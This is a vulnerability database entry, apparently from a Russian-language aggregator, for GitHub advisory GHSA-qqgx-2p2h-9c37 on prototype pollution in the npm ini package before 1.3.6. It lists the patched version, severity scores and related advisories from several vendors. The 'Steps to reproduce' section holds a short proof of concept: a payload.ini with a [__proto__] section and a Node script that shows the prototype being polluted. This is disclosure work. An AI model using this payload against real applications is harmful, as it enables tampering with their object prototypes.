Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-qqgx-2p2h-9c37

Опубликовано: 10 дек. 2020
Источник: github
Github: Прошло ревью
CVSS3: 7.3

Описание

ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini

[__proto__] polluted = "polluted"

poc.js:

var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted)
> node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted

Пакеты

Наименование

ini

npm
Затронутые версииВерсия исправления

< 1.3.6

1.3.6

EPSS

Процентиль: 52%
0.00291
Низкий

7.3 High

CVSS3

Дефекты

CWE-1321

Связанные уязвимости

CVSS3: 7.3
ubuntu
больше 4 лет назад

This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

CVSS3: 7.3
redhat
больше 4 лет назад

This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

CVSS3: 7.3
nvd
больше 4 лет назад

This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

CVSS3: 7.3
debian
больше 4 лет назад

This affects the package ini before 1.3.6. If an attacker submits a ma ...

CVSS3: 7.3
fstec
около 4 лет назад

Уязвимость библиотеки ini прикладного программного обеспечения Аврора Центр, связанная с неконтролируемым изменением атрибутов прототипа объекта, позволяющая нарушителю реализовать атаку типа «загрязнение прототипа»

EPSS

Процентиль: 52%
0.00291
Низкий

7.3 High

CVSS3

Дефекты

CWE-1321